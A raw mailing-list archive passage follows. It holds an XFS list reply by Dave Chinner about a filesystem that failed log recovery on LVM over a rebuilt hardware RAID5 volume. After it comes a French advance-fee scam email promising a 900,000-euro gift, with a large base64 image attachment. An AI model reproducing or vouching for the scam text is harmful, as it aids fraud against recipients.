AlsIANFtrlJ5LHyk/2dsb2JhbABZgwqDPLBmhU+BGxd0giUBAQQBOhwjBQsIAxgJJQ8FJQMhE4d8B8cvFxaPAweENgSYFYpMh0mDPiiBLiQ Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 16 Dec 2013 13:35:39 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VsOV0-0002Rl-06; Mon, 16 Dec 2013 14:05:38 +1100 Date: Mon, 16 Dec 2013 14:05:37 +1100 From: Dave Chinner To: Rafael Weingartner Cc: xfs@oss.sgi.com Subject: Re: XFS_REPAIR on LVM partition Message-ID: <20131216030537.GX31386@dastard> X-ASG-Orig-Subj: Re: XFS_REPAIR on LVM partition References: <20131216000141.GU31386@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1387163154 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.41 X-Barracuda-Spam-Status: No, SCORE=0.41 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=SUBJECT_FUZZY_TION X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143132 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.41 SUBJECT_FUZZY_TION Attempt to obfuscate words in Subject: On Sun, Dec 15, 2013 at 10:34:43PM -0200, Rafael Weingartner wrote: > So, sadly I went for the big hammer option, I thought that there were no > other options ;). > > I'm guessing it can't find or validate the primary superblock, so > > it's looking for a secondary superblock. Please post the output of > > the running repair so we can see exactly what it is doing. > > That is exactly what it seems that it is happening. > > *dmesg erros:* > > > 81.927888] Pid: 878, comm: mount Not tainted 3.5.0-44-generic > > #67~precise1-Ubuntu > > [ 81.927891] Call Trace: > > [ 81.927941] [] xfs_error_report+0x3f/0x50 [xfs] > > [ 81.927972] [] ? xfs_free_extent+0xe6/0x130 [xfs] > > [ 81.927990] [] xfs_free_ag_extent+0x528/0x730 [xfs] > > [ 81.928007] [] ? kmem_zone_alloc+0x67/0xe0 [xfs] > > [ 81.928033] [] xfs_free_extent+0xe6/0x130 [xfs] > > [ 81.928055] [] xlog_recover_process_efi+0x170/0x1b0 > > [xfs] > > [ 81.928075] [] > > xlog_recover_process_efis.isra.8+0x76/0xd0 [xfs] > > [ 81.928097] [] xlog_recover_finish+0x27/0xd0 [xfs] > > [ 81.928119] [] xfs_log_mount_finish+0x2c/0x30 [xfs] > > [ 81.928140] [] xfs_mountfs+0x420/0x6b0 [xfs] > > [ 81.928156] [] xfs_fs_fill_super+0x21d/0x2b0 [xfs] > > [ 81.928163] [] mount_bdev+0x1c6/0x210 > > [ 81.928179] [] ? xfs_parseargs+0xb80/0xb80 [xfs] > > [ 81.928194] [] xfs_fs_mount+0x15/0x20 [xfs] > > [ 81.928198] [] mount_fs+0x43/0x1b0 > > [ 81.928202] [] ? find_filesystem+0x63/0x80 > > [ 81.928206] [] vfs_kern_mount+0x76/0x120 > > [ 81.928209] [] do_kern_mount+0x54/0x110 > > [ 81.928212] [] do_mount+0x1a4/0x260 > > [ 81.928215] [] sys_mount+0x90/0xe0 > > [ 81.928220] [] system_call_fastpath+0x16/0x1b > > [ 81.928229] XFS (dm-0): Failed to recover EFIs > > [ 81.928232] XFS (dm-0): log mount finish failed > > [ 81.972741] XFS (dm-1): Mounting Filesystem > > [ 82.195661] XFS (dm-1): Ending clean mount > > [ 82.203627] XFS (dm-2): Mounting Filesystem > > [ 82.479044] XFS (dm-2): Ending clean mount > > Actually, the problem was a little bit more complicated. This LVM2 > partition, was using a physical device (PV) that is exported by a RAID NAS > controller. What's a "RAID NAS controller"? Details, please, or we can't help you. > This volume exported by the controller was created using a RAID > 5, there was a hardware failure in one of the HDs of the array and the > volume got unavailable, till we replaced the bad driver with a new one and > the array rebuild finished. So, hardware RAID5, lost a drive, rebuild on replace, filesystem in a bad way after rebuild? Cheers, Dave. -- Dave Chinner david@fromorbit.com From mairie.hurigny71@orange.fr Mon Dec 16 00:29:54 2013 Return-Path: X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9A8F07F3F for ; Mon, 16 Dec 2013 00:29:54 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 716C2304064 for ; Sun, 15 Dec 2013 22:29:51 -0800 (PST) X-ASG-Debug-ID: 1387175387-04cb6c537d78a490001-w1Z2WR Received: from smtp.smtpout.orange.fr (smtp04.smtpout.orange.fr [80.12.242.126]) by cuda.sgi.com with ESMTP id wGJjHr3fZLBcjsO3 for ; Sun, 15 Dec 2013 22:29:47 -0800 (PST) X-Barracuda-Envelope-From: mairie.hurigny71@orange.fr X-Barracuda-Apparent-Source-IP: 80.12.242.126 Received: from wwinf1v08 ([10.223.71.51]) by mwinf5d51 with ME id 26Vm1n00A16P5cA036VmhK; Mon, 16 Dec 2013 07:29:46 +0100 Date: Mon, 16 Dec 2013 07:29:46 +0100 (CET) From: Monsieur Madame Reply-To: Monsieur Madame To: "lcapone58@live.be" Cc: "esteban.abascal@yahoo.com.mx" Message-ID: <1683729997.1676.1387175386385.JavaMail.www@wwinf1v08> Subject: =?UTF-8?Q?RE:_TR_:TR_:_:_:_.TR:_FW:_BONJOUR=E2=80=8F?= MIME-Version: 1.0 X-ASG-Orig-Subj: =?UTF-8?Q?RE:_TR_:TR_:_:_:_.TR:_FW:_BONJOUR=E2=80=8F?= Content-Type: multipart/mixed; boundary="----=_Part_1674_23012815.1387175386345" X-Country-Code: X-me-spamlevel: not-spam X-Cache-ID: Message-Context: email-message X-WUM-SignatureAdded: X-me-spamrating: 40.00 X-Cache-Entry: X-Wum-Nature: EMAIL-NATURE X-Originating-IP: 204.124.83.134 X-Message-Size: X-SAVECOPY: false X-National-Code: X-Wum-ChannelType: X-WUM-FROM: |~| X-WUM-TO: |~| X-WUM-CC: |~| X-WUM-CCI: |~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~| X-WUM-REPLYTO: |~| X-Barracuda-Connect: smtp04.smtpout.orange.fr[80.12.242.126] X-Barracuda-Start-Time: 1387175387 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 ------=_Part_1674_23012815.1387175386345 Content-Type: multipart/alternative; boundary="----=_Part_1675_229325245.1387175386345" ------=_Part_1675_229325245.1387175386345 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Objet :  :    > ----- Original Message ----- > ----- Original Message ----- = >>  > ----- Original Message ----- > ----- Original Messag= e ----- >Bonjour Je suis Paul Lebette et j'aimerai vous faire une proposition qui pourra vou= s int=C3=A9ress=C3=A9. Il s'agit d'un don de 900.000 euros Veuillez me r=C3=A9pondre sur mon adresse mail priv=C3=A9 pour en savoir pl= us. e-mail: paul.lebette@hotmail.fr Ps : Veillez regarder la lettre en pi=C3=A8ce jointe pour en savoir plus. Monsieur Paul Lebette=20 ------=_Part_1675_229325245.1387175386345 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Objet : = ; : 

      > ----- Original Messag= e ----- > ----- Original Message ----- >>  > ----- Original Message ----- > ----- O= riginal Message ----- >

    Bonjour

    Je suis Pau= l Lebette et j'aimerai vous faire une proposition qui pourra vous int=C3=A9= ress=C3=A9. Il s'agit d'un don de 900.000 euros
    Veuillez me r=C3=A9pondre su= r mon adresse mail priv=C3=A9 pour en savoir plus. e-mail: paul.lebette@hotmail.fr

    <= span style=3D"text-indent: 0px !important; font-size: 10.5pt; line-height: = 19px;">Ps : Veillez regarder la lettre en pi=C3=A8ce jointe pour en savoir = plus.

    Monsieur Paul Lebette
    <= /span>

    ------=_Part_1675_229325245.1387175386345-- ------=_Part_1674_23012815.1387175386345 Content-Type: image/jpeg Content-Transfer-Encoding: base64 Content-Disposition: attachment; size=837548; size=837548; filename="33-brochure-homelifts-b2c_LR(1)(1)-1.JPG" Qk3WVgkAAAAAADYAAAAoAAAANgIAAGgBAAABABgAAAAAAAAAAADEDgAAxA4AAAAAAAAAAAAA//// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// 